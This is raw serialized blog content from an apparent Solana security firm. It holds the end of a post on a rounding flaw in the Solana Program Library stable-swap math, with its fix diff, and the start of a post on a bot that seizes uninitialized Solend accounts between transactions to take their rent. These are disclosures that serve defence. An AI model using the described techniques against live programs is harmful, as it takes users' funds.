",{"type":23,"tag":213,"props":4672,"children":4673},{"style":274},[4674],{"type":28,"value":4675},"/",{"type":23,"tag":213,"props":4677,"children":4678},{"style":220},[4679],{"type":28,"value":4680}," FEE_DENOMINATOR\n",{"type":23,"tag":24,"props":4682,"children":4683},{},[4684,4686,4693],{"type":28,"value":4685},"We originally thought this was an additional patch that didn't get ported over to Solana. However, it turns out this code was actually included in the ",{"type":23,"tag":36,"props":4687,"children":4690},{"href":4688,"rel":4689},"https://github.com/curvefi/curve-contract/commit/0fd801df7488d89f0e2fc81e760942d7858b01d6",[40],[4691],{"type":28,"value":4692},"original commit",{"type":28,"value":4694},", not as an additional security patch.",{"type":23,"tag":202,"props":4696,"children":4698},{"code":4697},"commit 0fd801df7488d89f0e2fc81e760942d7858b01d6\nAuthor: Ben Hauser \u003Cben@hauser.id>\nDate: Mon Aug 31 02:35:30 2020 +0300\n\n feat: add base pool without lending\n",[4699],{"type":23,"tag":209,"props":4700,"children":4701},{"__ignoreMap":7},[4702],{"type":28,"value":4697},{"type":23,"tag":24,"props":4704,"children":4705},{},[4706,4708,4715],{"type":28,"value":4707},"The commit adding stable swaps to SPL was ",{"type":23,"tag":36,"props":4709,"children":4712},{"href":4710,"rel":4711},"https://github.com/solana-labs/solana-program-library/commit/d62ddd2b94d5d2daaa97460b165d288610a87623",[40],[4713],{"type":28,"value":4714},"made a few months later",{"type":28,"value":4716},", meaning there was some disconnect when porting the code. Either the rounding was thought to be unnecesary, or it was simply forgotten.",{"type":23,"tag":202,"props":4718,"children":4720},{"code":4719},"commit d62ddd2b94d5d2daaa97460b165d288610a87623\nAuthor: Yuriy Savchenko \u003Cyuriy.savchenko@gmail.com>\nDate: Tue Nov 17 15:13:18 2020 +0200\n\n Added stable curve invariant to the token swap smart contract (#838)\n\n * Added stable curve invariant to the token swap smart contract\n\n * Fixed formatting\n\n * Added missing stable curve constraints\n\n * Symbol renames to make math clearer\n\n * Small refactoring according to PR comments, fixes for JS tests\n",[4721],{"type":23,"tag":209,"props":4722,"children":4723},{"__ignoreMap":7},[4724],{"type":28,"value":4719},{"type":23,"tag":24,"props":4726,"children":4727},{},[4728,4730,4737],{"type":28,"value":4729},"After contacting some other swap projects which were unaffected, we decided to notify the Solana team in order to get a patch upstreamed to ",{"type":23,"tag":36,"props":4731,"children":4734},{"href":4732,"rel":4733},"https://github.com/solana-labs/solana-program-library",[40],[4735],{"type":28,"value":4736},"the Solana Program Library",{"type":28,"value":124},{"type":23,"tag":24,"props":4739,"children":4740},{},[4741],{"type":28,"value":4742},"While few projects deploy the swap program from the Solana Program Library, the SPL program is meant as a reference implementation, and many exchanges fork their own code off of it.",{"type":23,"tag":24,"props":4744,"children":4745},{},[4746,4753],{"type":23,"tag":36,"props":4747,"children":4750},{"href":4748,"rel":4749},"https://github.com/joncinque",[40],[4751],{"type":28,"value":4752},"@joncinque",{"type":28,"value":4754}," helped triage this patch. We also asked him for his thoughts on a more complete solution.",{"type":23,"tag":3036,"props":4756,"children":4757},{},[4758],{"type":23,"tag":24,"props":4759,"children":4760},{},[4761],{"type":28,"value":4762},"Honestly, the idea of just subtracting 1 from the output will cover almost all situations correctly, so it's a good quick solution. I'll take a look to see if we can solve this for all situations through a correct application of checked_ceil_div, as with the constant product curve.",{"type":23,"tag":24,"props":4764,"children":4765},{},[4766,4768,4775,4777,4783],{"type":28,"value":4767},"After some thought, he helped ",{"type":23,"tag":36,"props":4769,"children":4772},{"href":4770,"rel":4771},"https://github.com/solana-labs/solana-program-library/pull/2942",[40],[4773],{"type":28,"value":4774},"introduce a PR",{"type":28,"value":4776}," which ceilings the computation in ",{"type":23,"tag":209,"props":4778,"children":4780},{"className":4779},[],[4781],{"type":28,"value":4782},"compute_new_destination_amount",{"type":28,"value":4784}," to correctly round within the stable curve math library.",{"type":23,"tag":202,"props":4786,"children":4788},{"code":4787,"language":205,"meta":7,"className":206,"style":7}," // Solve for y by approximating: y**2 + b*y = c\n let mut y_prev: U256;\n let mut y = d_val;\n for _ in 0..ITERATIONS {\n- y_prev = y;\n- y = (checked_u8_power(&y, 2)?.checked_add(c)?)\n- .checked_div(checked_u8_mul(&y, 2)?.checked_add(b)?.checked_sub(d_val)?)?;\n- if y == y_prev {\n+ let (y_new, _) = (checked_u8_power(&y, 2)?.checked_add(c)?)\n+ .checked_ceil_div(checked_u8_mul(&y, 2)?.checked_add(b)?.checked_sub(d_val)?)?;\n+ if y_new == y {\n break;\n+ } else {\n+ y = y_new;\n }\n",[4789],{"type":23,"tag":209,"props":4790,"children":4791},{"__ignoreMap":7},[4792,4800,4830,4857,4885,4909,4985,5089,5116,5211,5314,5341,5353,5372,5395],{"type":23,"tag":213,"props":4793,"children":4794},{"class":215,"line":216},[4795],{"type":23,"tag":213,"props":4796,"children":4797},{"style":537},[4798],{"type":28,"value":4799}," // Solve for y by approximating: y**2 + b*y = c\n",{"type":23,"tag":213,"props":4801,"children":4802},{"class":215,"line":226},[4803,4808,4812,4817,4821,4826],{"type":23,"tag":213,"props":4804,"children":4805},{"style":230},[4806],{"type":28,"value":4807}," let",{"type":23,"tag":213,"props":4809,"children":4810},{"style":230},[4811],{"type":28,"value":492},{"type":23,"tag":213,"props":4813,"children":4814},{"style":268},[4815],{"type":28,"value":4816}," y_prev",{"type":23,"tag":213,"props":4818,"children":4819},{"style":274},[4820],{"type":28,"value":277},{"type":23,"tag":213,"props":4822,"children":4823},{"style":290},[4824],{"type":28,"value":4825}," U256",{"type":23,"tag":213,"props":4827,"children":4828},{"style":220},[4829],{"type":28,"value":313},{"type":23,"tag":213,"props":4831,"children":4832},{"class":215,"line":524},[4833,4837,4841,4845,4849,4853],{"type":23,"tag":213,"props":4834,"children":4835},{"style":230},[4836],{"type":28,"value":4807},{"type":23,"tag":213,"props":4838,"children":4839},{"style":230},[4840],{"type":28,"value":492},{"type":23,"tag":213,"props":4842,"children":4843},{"style":268},[4844],{"type":28,"value":3110},{"type":23,"tag":213,"props":4846,"children":4847},{"style":274},[4848],{"type":28,"value":511},{"type":23,"tag":213,"props":4850,"children":4851},{"style":268},[4852],{"type":28,"value":3119},{"type":23,"tag":213,"props":4854,"children":4855},{"style":220},[4856],{"type":28,"value":313},{"type":23,"tag":213,"props":4858,"children":4859},{"class":215,"line":533},[4860,4865,4869,4873,4877,4881],{"type":23,"tag":213,"props":4861,"children":4862},{"style":1362},[4863],{"type":28,"value":4864}," for",{"type":23,"tag":213,"props":4866,"children":4867},{"style":268},[4868],{"type":28,"value":3136},{"type":23,"tag":213,"props":4870,"children":4871},{"style":230},[4872],{"type":28,"value":3141},{"type":23,"tag":213,"props":4874,"children":4875},{"style":514},[4876],{"type":28,"value":517},{"type":23,"tag":213,"props":4878,"children":4879},{"style":274},[4880],{"type":28,"value":3150},{"type":23,"tag":213,"props":4882,"children":4883},{"style":220},[4884],{"type":28,"value":3155},{"type":23,"tag":213,"props":4886,"children":4887},{"class":215,"line":543},[4888,4892,4897,4901,4905],{"type":23,"tag":213,"props":4889,"children":4890},{"style":274},[4891],{"type":28,"value":4423},{"type":23,"tag":213,"props":4893,"children":4894},{"style":268},[4895],{"type":28,"value":4896}," y_prev",{"type":23,"tag":213,"props":4898,"children":4899},{"style":274},[4900],{"type":28,"value":511},{"type":23,"tag":213,"props":4902,"children":4903},{"style":268},[4904],{"type":28,"value":3110},{"type":23,"tag":213,"props":4906,"children":4907},{"style":220},[4908],{"type":28,"value":313},{"type":23,"tag":213,"props":4910,"children":4911},{"class":215,"line":551},[4912,4916,4921,4925,4929,4933,4937,4941,4945,4949,4953,4957,4961,4965,4969,4973,4977,4981],{"type":23,"tag":213,"props":4913,"children":4914},{"style":274},[4915],{"type":28,"value":4423},{"type":23,"tag":213,"props":4917,"children":4918},{"style":268},[4919],{"type":28,"value":4920}," y",{"type":23,"tag":213,"props":4922,"children":4923},{"style":274},[4924],{"type":28,"value":511},{"type":23,"tag":213,"props":4926,"children":4927},{"style":220},[4928],{"type":28,"value":400},{"type":23,"tag":213,"props":4930,"children":4931},{"style":257},[4932],{"type":28,"value":3199},{"type":23,"tag":213,"props":4934,"children":4935},{"style":220},[4936],{"type":28,"value":265},{"type":23,"tag":213,"props":4938,"children":4939},{"style":274},[4940],{"type":28,"value":405},{"type":23,"tag":213,"props":4942,"children":4943},{"style":268},[4944],{"type":28,"value":3212},{"type":23,"tag":213,"props":4946,"children":4947},{"style":220},[4948],{"type":28,"value":424},{"type":23,"tag":213,"props":4950,"children":4951},{"style":514},[4952],{"type":28,"value":3221},{"type":23,"tag":213,"props":4954,"children":4955},{"style":220},[4956],{"type":28,"value":2121},{"type":23,"tag":213,"props":4958,"children":4959},{"style":274},[4960],{"type":28,"value":3230},{"type":23,"tag":213,"props":4962,"children":4963},{"style":257},[4964],{"type":28,"value":3235},{"type":23,"tag":213,"props":4966,"children":4967},{"style":220},[4968],{"type":28,"value":265},{"type":23,"tag":213,"props":4970,"children":4971},{"style":268},[4972],{"type":28,"value":3244},{"type":23,"tag":213,"props":4974,"children":4975},{"style":220},[4976],{"type":28,"value":2121},{"type":23,"tag":213,"props":4978,"children":4979},{"style":274},[4980],{"type":28,"value":2126},{"type":23,"tag":213,"props":4982,"children":4983},{"style":220},[4984],{"type":28,"value":2183},{"type":23,"tag":213,"props":4986,"children":4987},{"class":215,"line":570},[4988,4992,4996,5001,5005,5009,5013,5017,5021,5025,5029,5033,5037,5041,5045,5049,5053,5057,5061,5065,5069,5073,5077,5081,5085],{"type":23,"tag":213,"props":4989,"children":4990},{"style":274},[4991],{"type":28,"value":4423},{"type":23,"tag":213,"props":4993,"children":4994},{"style":274},[4995],{"type":28,"value":3264},{"type":23,"tag":213,"props":4997,"children":4998},{"style":257},[4999],{"type":28,"value":5000},"checked_div",{"type":23,"tag":213,"props":5002,"children":5003},{"style":220},[5004],{"type":28,"value":265},{"type":23,"tag":213,"props":5006,"children":5007},{"style":257},[5008],{"type":28,"value":3278},{"type":23,"tag":213,"props":5010,"children":5011},{"style":220},[5012],{"type":28,"value":265},{"type":23,"tag":213,"props":5014,"children":5015},{"style":274},[5016],{"type":28,"value":405},{"type":23,"tag":213,"props":5018,"children":5019},{"style":268},[5020],{"type":28,"value":3212},{"type":23,"tag":213,"props":5022,"children":5023},{"style":220},[5024],{"type":28,"value":424},{"type":23,"tag":213,"props":5026,"children":5027},{"style":514},[5028],{"type":28,"value":3221},{"type":23,"tag":213,"props":5030,"children":5031},{"style":220},[5032],{"type":28,"value":2121},{"type":23,"tag":213,"props":5034,"children":5035},{"style":274},[5036],{"type":28,"value":3230},{"type":23,"tag":213,"props":5038,"children":5039},{"style":257},[5040],{"type":28,"value":3235},{"type":23,"tag":213,"props":5042,"children":5043},{"style":220},[5044],{"type":28,"value":265},{"type":23,"tag":213,"props":5046,"children":5047},{"style":268},[5048],{"type":28,"value":3319},{"type":23,"tag":213,"props":5050,"children":5051},{"style":220},[5052],{"type":28,"value":2121},{"type":23,"tag":213,"props":5054,"children":5055},{"style":274},[5056],{"type":28,"value":3230},{"type":23,"tag":213,"props":5058,"children":5059},{"style":257},[5060],{"type":28,"value":3332},{"type":23,"tag":213,"props":5062,"children":5063},{"style":220},[5064],{"type":28,"value":265},{"type":23,"tag":213,"props":5066,"children":5067},{"style":268},[5068],{"type":28,"value":3341},{"type":23,"tag":213,"props":5070,"children":5071},{"style":220},[5072],{"type":28,"value":2121},{"type":23,"tag":213,"props":5074,"children":5075},{"style":274},[5076],{"type":28,"value":2126},{"type":23,"tag":213,"props":5078,"children":5079},{"style":220},[5080],{"type":28,"value":2121},{"type":23,"tag":213,"props":5082,"children":5083},{"style":274},[5084],{"type":28,"value":2126},{"type":23,"tag":213,"props":5086,"children":5087},{"style":220},[5088],{"type":28,"value":313},{"type":23,"tag":213,"props":5090,"children":5091},{"class":215,"line":655},[5092,5096,5100,5104,5108,5112],{"type":23,"tag":213,"props":5093,"children":5094},{"style":274},[5095],{"type":28,"value":4423},{"type":23,"tag":213,"props":5097,"children":5098},{"style":1362},[5099],{"type":28,"value":3369},{"type":23,"tag":213,"props":5101,"children":5102},{"style":268},[5103],{"type":28,"value":3110},{"type":23,"tag":213,"props":5105,"children":5106},{"style":274},[5107],{"type":28,"value":3379},{"type":23,"tag":213,"props":5109,"children":5110},{"style":268},[5111],{"type":28,"value":4816},{"type":23,"tag":213,"props":5113,"children":5114},{"style":220},[5115],{"type":28,"value":1375},{"type":23,"tag":213,"props":5117,"children":5118},{"class":215,"line":1176},[5119,5123,5127,5131,5135,5139,5143,5147,5151,5155,5159,5163,5167,5171,5175,5179,5183,5187,5191,5195,5199,5203,5207],{"type":23,"tag":213,"props":5120,"children":5121},{"style":274},[5122],{"type":28,"value":2703},{"type":23,"tag":213,"props":5124,"children":5125},{"style":230},[5126],{"type":28,"value":3163},{"type":23,"tag":213,"props":5128,"children":5129},{"style":220},[5130],{"type":28,"value":400},{"type":23,"tag":213,"props":5132,"children":5133},{"style":268},[5134],{"type":28,"value":3172},{"type":23,"tag":213,"props":5136,"children":5137},{"style":220},[5138],{"type":28,"value":424},{"type":23,"tag":213,"props":5140,"children":5141},{"style":268},[5142],{"type":28,"value":3181},{"type":23,"tag":213,"props":5144,"children":5145},{"style":220},[5146],{"type":28,"value":298},{"type":23,"tag":213,"props":5148,"children":5149},{"style":274},[5150],{"type":28,"value":3190},{"type":23,"tag":213,"props":5152,"children":5153},{"style":220},[5154],{"type":28,"value":400},{"type":23,"tag":213,"props":5156,"children":5157},{"style":257},[5158],{"type":28,"value":3199},{"type":23,"tag":213,"props":5160,"children":5161},{"style":220},[5162],{"type":28,"value":265},{"type":23,"tag":213,"props":5164,"children":5165},{"style":274},[5166],{"type":28,"value":405},{"type":23,"tag":213,"props":5168,"children":5169},{"style":268},[5170],{"type":28,"value":3212},{"type":23,"tag":213,"props":5172,"children":5173},{"style":220},[5174],{"type":28,"value":424},{"type":23,"tag":213,"props":5176,"children":5177},{"style":514},[5178],{"type":28,"value":3221},{"type":23,"tag":213,"props":5180,"children":5181},{"style":220},[5182],{"type":28,"value":2121},{"type":23,"tag":213,"props":5184,"children":5185},{"style":274},[5186],{"type":28,"value":3230},{"type":23,"tag":213,"props":5188,"children":5189},{"style":257},[5190],{"type":28,"value":3235},{"type":23,"tag":213,"props":5192,"children":5193},{"style":220},[5194],{"type":28,"value":265},{"type":23,"tag":213,"props":5196,"children":5197},{"style":268},[5198],{"type":28,"value":3244},{"type":23,"tag":213,"props":5200,"children":5201},{"style":220},[5202],{"type":28,"value":2121},{"type":23,"tag":213,"props":5204,"children":5205},{"style":274},[5206],{"type":28,"value":2126},{"type":23,"tag":213,"props":5208,"children":5209},{"style":220},[5210],{"type":28,"value":2183},{"type":23,"tag":213,"props":5212,"children":5213},{"class":215,"line":1202},[5214,5218,5222,5226,5230,5234,5238,5242,5246,5250,5254,5258,5262,5266,5270,5274,5278,5282,5286,5290,5294,5298,5302,5306,5310],{"type":23,"tag":213,"props":5215,"children":5216},{"style":274},[5217],{"type":28,"value":2703},{"type":23,"tag":213,"props":5219,"children":5220},{"style":274},[5221],{"type":28,"value":3264},{"type":23,"tag":213,"props":5223,"children":5224},{"style":257},[5225],{"type":28,"value":3269},{"type":23,"tag":213,"props":5227,"children":5228},{"style":220},[5229],{"type":28,"value":265},{"type":23,"tag":213,"props":5231,"children":5232},{"style":257},[5233],{"type":28,"value":3278},{"type":23,"tag":213,"props":5235,"children":5236},{"style":220},[5237],{"type":28,"value":265},{"type":23,"tag":213,"props":5239,"children":5240},{"style":274},[5241],{"type":28,"value":405},{"type":23,"tag":213,"props":5243,"children":5244},{"style":268},[5245],{"type":28,"value":3212},{"type":23,"tag":213,"props":5247,"children":5248},{"style":220},[5249],{"type":28,"value":424},{"type":23,"tag":213,"props":5251,"children":5252},{"style":514},[5253],{"type":28,"value":3221},{"type":23,"tag":213,"props":5255,"children":5256},{"style":220},[5257],{"type":28,"value":2121},{"type":23,"tag":213,"props":5259,"children":5260},{"style":274},[5261],{"type":28,"value":3230},{"type":23,"tag":213,"props":5263,"children":5264},{"style":257},[5265],{"type":28,"value":3235},{"type":23,"tag":213,"props":5267,"children":5268},{"style":220},[5269],{"type":28,"value":265},{"type":23,"tag":213,"props":5271,"children":5272},{"style":268},[5273],{"type":28,"value":3319},{"type":23,"tag":213,"props":5275,"children":5276},{"style":220},[5277],{"type":28,"value":2121},{"type":23,"tag":213,"props":5279,"children":5280},{"style":274},[5281],{"type":28,"value":3230},{"type":23,"tag":213,"props":5283,"children":5284},{"style":257},[5285],{"type":28,"value":3332},{"type":23,"tag":213,"props":5287,"children":5288},{"style":220},[5289],{"type":28,"value":265},{"type":23,"tag":213,"props":5291,"children":5292},{"style":268},[5293],{"type":28,"value":3341},{"type":23,"tag":213,"props":5295,"children":5296},{"style":220},[5297],{"type":28,"value":2121},{"type":23,"tag":213,"props":5299,"children":5300},{"style":274},[5301],{"type":28,"value":2126},{"type":23,"tag":213,"props":5303,"children":5304},{"style":220},[5305],{"type":28,"value":2121},{"type":23,"tag":213,"props":5307,"children":5308},{"style":274},[5309],{"type":28,"value":2126},{"type":23,"tag":213,"props":5311,"children":5312},{"style":220},[5313],{"type":28,"value":313},{"type":23,"tag":213,"props":5315,"children":5316},{"class":215,"line":1758},[5317,5321,5325,5329,5333,5337],{"type":23,"tag":213,"props":5318,"children":5319},{"style":274},[5320],{"type":28,"value":2703},{"type":23,"tag":213,"props":5322,"children":5323},{"style":1362},[5324],{"type":28,"value":3369},{"type":23,"tag":213,"props":5326,"children":5327},{"style":268},[5328],{"type":28,"value":3374},{"type":23,"tag":213,"props":5330,"children":5331},{"style":274},[5332],{"type":28,"value":3379},{"type":23,"tag":213,"props":5334,"children":5335},{"style":268},[5336],{"type":28,"value":3110},{"type":23,"tag":213,"props":5338,"children":5339},{"style":220},[5340],{"type":28,"value":1375},{"type":23,"tag":213,"props":5342,"children":5343},{"class":215,"line":1767},[5344,5349],{"type":23,"tag":213,"props":5345,"children":5346},{"style":1362},[5347],{"type":28,"value":5348}," break",{"type":23,"tag":213,"props":5350,"children":5351},{"style":220},[5352],{"type":28,"value":313},{"type":23,"tag":213,"props":5354,"children":5355},{"class":215,"line":1789},[5356,5360,5364,5368],{"type":23,"tag":213,"props":5357,"children":5358},{"style":274},[5359],{"type":28,"value":2703},{"type":23,"tag":213,"props":5361,"children":5362},{"style":220},[5363],{"type":28,"value":3407},{"type":23,"tag":213,"props":5365,"children":5366},{"style":1362},[5367],{"type":28,"value":3412},{"type":23,"tag":213,"props":5369,"children":5370},{"style":220},[5371],{"type":28,"value":1375},{"type":23,"tag":213,"props":5373,"children":5374},{"class":215,"line":1812},[5375,5379,5383,5387,5391],{"type":23,"tag":213,"props":5376,"children":5377},{"style":274},[5378],{"type":28,"value":2703},{"type":23,"tag":213,"props":5380,"children":5381},{"style":268},[5382],{"type":28,"value":3424},{"type":23,"tag":213,"props":5384,"children":5385},{"style":274},[5386],{"type":28,"value":511},{"type":23,"tag":213,"props":5388,"children":5389},{"style":268},[5390],{"type":28,"value":3374},{"type":23,"tag":213,"props":5392,"children":5393},{"style":220},[5394],{"type":28,"value":313},{"type":23,"tag":213,"props":5396,"children":5397},{"class":215,"line":1838},[5398],{"type":23,"tag":213,"props":5399,"children":5400},{"style":220},[5401],{"type":28,"value":5402}," }\n",{"type":23,"tag":47,"props":5404,"children":5405},{"id":2929},[5406],{"type":28,"value":2932},{"type":23,"tag":24,"props":5408,"children":5409},{},[5410],{"type":28,"value":5411},"This is a good example of how messing around and interacting with the ecosystem can lead to unexpected bugs. We found this, not as a result of active security research, but as part of our work in MEV and trading.",{"type":23,"tag":24,"props":5413,"children":5414},{},[5415,5417,5422],{"type":28,"value":5416},"Another interesting takeaway is that ",{"type":23,"tag":95,"props":5418,"children":5419},{},[5420],{"type":28,"value":5421},"fuzzing can give a false sense of security",{"type":28,"value":5423},". Prior to our report, Saber had already deployed comprehensive fuzzers for their swap implementation. A researcher looking at code coverage alone might come to the incorrect conclusion that such extensively fuzzed code couldn't possibly have a vulnerability.",{"type":23,"tag":24,"props":5425,"children":5426},{},[5427,5429,5436],{"type":28,"value":5428},"One can see parallels to traditional security, as with Google Project Zero's ",{"type":23,"tag":36,"props":5430,"children":5433},{"href":5431,"rel":5432},"https://googleprojectzero.blogspot.com/2021/12/this-shouldnt-have-happened.html",[40],[5434],{"type":28,"value":5435},"port-mortem of the NSS overflow",{"type":28,"value":124},{"type":23,"tag":24,"props":5438,"children":5439},{},[5440],{"type":23,"tag":4009,"props":5441,"children":5443},{"alt":7,"src":5442},"/posts/spl-swap/p0.png",[],{"type":23,"tag":24,"props":5445,"children":5446},{},[5447],{"type":28,"value":5448},"A heavily fuzzed method had a trivial buffer overflow due to an arbitrary size limit on the input data. Implict assumptions can often undermine security.",{"type":23,"tag":24,"props":5450,"children":5451},{},[5452],{"type":28,"value":5453},"Especially with regard to onchain programs, it's important to consider what actually is a \"vulnerability\". Getting tokens from nothing is a more obvious example, but more subtle bugs can arise with increasingly complex defi interactions. Economic invariants are much harder to detect than say, memory corruption.",{"type":23,"tag":24,"props":5455,"children":5456},{},[5457],{"type":28,"value":5458},"A comprehensive evaluation of smart contracts relies on a deep understanding of economic implications within the Solana ecosystem.",{"type":23,"tag":2957,"props":5460,"children":5461},{},[5462],{"type":28,"value":2961},{"title":7,"searchDepth":226,"depth":226,"links":5464},[5465,5466,5467,5468],{"id":3021,"depth":226,"text":3024},{"id":4015,"depth":226,"text":4018},{"id":4321,"depth":226,"text":4324},{"id":2929,"depth":226,"text":2932},"content:blog:2022-04-26-spl-swap-rounding.md","blog/2022-04-26-spl-swap-rounding.md","blog/2022-04-26-spl-swap-rounding",{"_path":5473,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":5474,"description":5475,"image":5476,"date":5480,"isFeatured":18,"onBlogPage":18,"tags":5481,"body":5482,"_type":2967,"_id":5806,"_source":2969,"_file":5807,"_stem":5808,"_extension":2972},"/blog/2022-08-19-solend-rent-thief","The Story of the Curious Rent Thief","A tale of pickpockets preying on the Solana ecosystem. Read our investigation into the persistent theft of rent from uninitialized accounts. This is the story of the Solend rent thief.",{"src":5477,"width":5478,"height":5479},"/posts/rent-thief/title.jpg",970,826,"2022-08-19",[16,2984],{"type":20,"children":5483,"toc":5799},[5484,5489,5495,5500,5505,5510,5516,5529,5576,5607,5616,5621,5626,5631,5637,5650,5666,5671,5676,5691,5695,5700,5715,5722,5727,5737,5744,5748,5753,5759,5764,5769,5774,5780,5785],{"type":23,"tag":24,"props":5485,"children":5486},{},[5487],{"type":28,"value":5488},"Recently, there’s been a rent thief. This bot steals money from uninitialized accounts across the Solana ecosystem, claiming and profiting from the rent. The Solend team noticed the bot when it attempted an attack on the new permissionless pools that are being developed (to be clear, funds stored in the main Solend protocol are completely unaffected). Let's dig into how rent thieving works by doing a case study on an attack to one of the permissionless pools.",{"type":23,"tag":47,"props":5490,"children":5492},{"id":5491},"background",[5493],{"type":28,"value":5494},"Background",{"type":23,"tag":24,"props":5496,"children":5497},{},[5498],{"type":28,"value":5499},"To understand how this exploit works, we first have to understand a bit about how rent works in Solana.",{"type":23,"tag":24,"props":5501,"children":5502},{},[5503],{"type":28,"value":5504},"Since accounts can store data that every validator needs to download, Solana charges a certain amount of rent based on the amount of data. However, accounts that have enough for 2 years of rent payments are considered rent-exempt as long as their balance never drops below the threshold. Fortunately, rent is very cheap, so it's not hard to make an account rent-exempt.",{"type":23,"tag":24,"props":5506,"children":5507},{},[5508],{"type":28,"value":5509},"As such, when creating new accounts, most programs will need to transfer some SOL into the new account to make it rent-exempt.",{"type":23,"tag":47,"props":5511,"children":5513},{"id":5512},"the-exploit",[5514],{"type":28,"value":5515},"The Exploit",{"type":23,"tag":24,"props":5517,"children":5518},{},[5519,5521,5527],{"type":28,"value":5520},"New reserves (also known as assets) are added to a Solend pool by calling the ",{"type":23,"tag":209,"props":5522,"children":5524},{"className":5523},[],[5525],{"type":28,"value":5526},"init_reserve",{"type":28,"value":5528}," function, which creates 6 new accounts to store data about the reserve:",{"type":23,"tag":131,"props":5530,"children":5531},{},[5532,5537,5542,5547,5558,5563],{"type":23,"tag":135,"props":5533,"children":5534},{},[5535],{"type":28,"value":5536},"reserve detail - stores information about the reserve e.g liquidity mint, mint decimals, oracles, configs, etc.",{"type":23,"tag":135,"props":5538,"children":5539},{},[5540],{"type":28,"value":5541},"reserve liquidity token account - holds deposited tokens",{"type":23,"tag":135,"props":5543,"children":5544},{},[5545],{"type":28,"value":5546},"fee receiver token account - account which will receive origination fees on borrows",{"type":23,"tag":135,"props":5548,"children":5549},{},[5550,5552],{"type":28,"value":5551},"reserve collateral mint account - deposit receipt token, also known as ",{"type":23,"tag":209,"props":5553,"children":5555},{"className":5554},[],[5556],{"type":28,"value":5557},"cTokens",{"type":23,"tag":135,"props":5559,"children":5560},{},[5561],{"type":28,"value":5562},"reserve collateral token account - holds users' collateral tokens",{"type":23,"tag":135,"props":5564,"children":5565},{},[5566,5568,5574],{"type":28,"value":5567},"creator collateral token account - creator's ",{"type":23,"tag":209,"props":5569,"children":5571},{"className":5570},[],[5572],{"type":28,"value":5573},"cToken",{"type":28,"value":5575}," account",{"type":23,"tag":24,"props":5577,"children":5578},{},[5579,5581,5586,5588,5593,5595,5600,5602],{"type":28,"value":5580},"Account creation and initialization are ",{"type":23,"tag":87,"props":5582,"children":5583},{},[5584],{"type":28,"value":5585},"usually",{"type":28,"value":5587}," done within the same transactions. However, due to Solana's transaction size limit of 1232 bytes, the creation and initialization of these 6 accounts had to be separated into 2 transactions, creation and initialization. Here's what a call to ",{"type":23,"tag":209,"props":5589,"children":5591},{"className":5590},[],[5592],{"type":28,"value":5526},{"type":28,"value":5594}," is ",{"type":23,"tag":87,"props":5596,"children":5597},{},[5598],{"type":28,"value":5599},"supposed",{"type":28,"value":5601}," to look like:\n",{"type":23,"tag":4009,"props":5603,"children":5606},{"src":5604,"alt":5605},"/posts/rent-thief/transacdiagram.png","drawing",[],{"type":23,"tag":24,"props":5608,"children":5609},{},[5610,5612],{"type":28,"value":5611},"Notice anything amiss? In between the two transactions, the account has rent money but no owner. This is where the rent thief comes in to snatch the account, along with its rent:\n",{"type":23,"tag":4009,"props":5613,"children":5615},{"src":5614,"alt":5605},"/posts/rent-thief/attacktransac.png",[],{"type":23,"tag":24,"props":5617,"children":5618},{},[5619],{"type":28,"value":5620},"Since there was a roughly 40 second (50 slot) window in between the two transactions, such an attack was very consistent.",{"type":23,"tag":24,"props":5622,"children":5623},{},[5624],{"type":28,"value":5625},"Fortunately, rent is relatively cheap so the entire attack only extracts about 0.0082 SOL every iteration (4 token accounts each worth around 0.002 SOL), which is around 28 cents at the time of writing this article.",{"type":23,"tag":24,"props":5627,"children":5628},{},[5629],{"type":28,"value":5630},"Despite this lost cost, this is pretty annoying...",{"type":23,"tag":47,"props":5632,"children":5634},{"id":5633},"example",[5635],{"type":28,"value":5636},"Example",{"type":23,"tag":24,"props":5638,"children":5639},{},[5640,5642,5649],{"type":28,"value":5641},"Let's take a look at ",{"type":23,"tag":36,"props":5643,"children":5646},{"href":5644,"rel":5645},"https://explorer.solana.com/address/2PUTo74Vbt9fXVoTywjTFZNnWGckWS98HnruXvZJaj4N",[40],[5647],{"type":28,"value":5648},"a real attack",{"type":28,"value":124},{"type":23,"tag":24,"props":5651,"children":5652},{},[5653,5660,5662],{"type":23,"tag":36,"props":5654,"children":5657},{"href":5655,"rel":5656},"https://explorer.solana.com/tx/9yon9Av2sBq78bZ92Pa28p8gef5MUEQL3sBLGVzxK3RNGYsN2nLnTrbqS1wMCvJdinKE8CC9SwCuUYuNBwrNFNy",[40],[5658],{"type":28,"value":5659},"Transaction 1",{"type":28,"value":5661},":\n",{"type":23,"tag":4009,"props":5663,"children":5665},{"alt":7,"src":5664},"https://i.imgur.com/xJvIwgc.png",[],{"type":23,"tag":24,"props":5667,"children":5668},{},[5669],{"type":28,"value":5670},"(...more accounts truncated)",{"type":23,"tag":24,"props":5672,"children":5673},{},[5674],{"type":28,"value":5675},"The developer creates a couple accounts and transfers enough SOL for them to be rent-exempt. This took place in slot 136,580,113.",{"type":23,"tag":24,"props":5677,"children":5678},{},[5679,5686,5687],{"type":23,"tag":36,"props":5680,"children":5683},{"href":5681,"rel":5682},"https://explorer.solana.com/tx/22beQSDReFGK4KAgarAz4MbibpxaFHiARd3yaCDZ4wmKSNoTcxmKMp6uRNA2CY4xAAZVZZCDg522aJ7jXftyhtSE",[40],[5684],{"type":28,"value":5685},"Attacker's Transaction",{"type":28,"value":5661},{"type":23,"tag":4009,"props":5688,"children":5690},{"alt":7,"src":5689},"https://i.imgur.com/CpSKuL3.png",[],{"type":23,"tag":24,"props":5692,"children":5693},{},[5694],{"type":28,"value":5670},{"type":23,"tag":24,"props":5696,"children":5697},{},[5698],{"type":28,"value":5699},"As detailed before, the attacker takes ownership of the newly created accounts. This took place in slot 136,580,154, which is 41 slots (29 seconds) after the initial transaction.",{"type":23,"tag":24,"props":5701,"children":5702},{},[5703,5710,5711],{"type":23,"tag":36,"props":5704,"children":5707},{"href":5705,"rel":5706},"https://explorer.solana.com/tx/beYo1YBCa4fQ8swdJchx9s4qtgDQV4oVSEqwAX7UpHan4U4Jsv1oxY2V2ZxE77pBQHzYwV4gCXpDDKTgM7kBT4y",[40],[5708],{"type":28,"value":5709},"Transaction 